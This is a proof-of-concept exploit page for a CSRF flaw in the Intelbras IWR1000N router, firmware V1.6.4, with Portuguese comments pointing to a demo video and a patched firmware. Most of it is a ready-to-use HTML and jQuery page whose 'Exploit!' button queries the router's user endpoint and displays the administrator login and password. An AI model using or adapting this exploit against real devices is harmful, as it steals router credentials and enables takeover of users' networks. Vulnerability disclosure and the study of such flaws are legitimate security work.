CSRF Intelbras IWR1000N | Firmware V1.6.4

// VÍDEO DEMONSTRATIVO: https://www.youtube.com/watch?v=NcxFX37LXOc
// PARA CORRIGIR O PROBLEMA ATUALIZE O FIRMWARE DO SEU ROTEADOR NO LINK ABAIXO:
// http://backend.intelbras.com/sites/default/files/2019-07/IWR%201000N%20-%20Firmware%20vers%C3%A3o%201.9.4_0.zip


<!DOCTYPE html>
<html lang="en">
    <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <meta http-equiv="X-UA-Compatible" content="ie=edge">
            <title>IWR 1000N V1.6.4- CSRF on authenticated administrator</title>
    </head>
    <body>
        <button onclick="exploit()">Exploit!</button>
        <p>Click the button to get the login and password.</p>
        <script>
            function exploit(){
                $.get( "http://localhost:80/v1/system/user" )
                .done(( data ) => {
                    alert( data );
                })
                .fail(function( err, status) {
                    alert( status );
                });
            }
        </script>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    </body>
</html>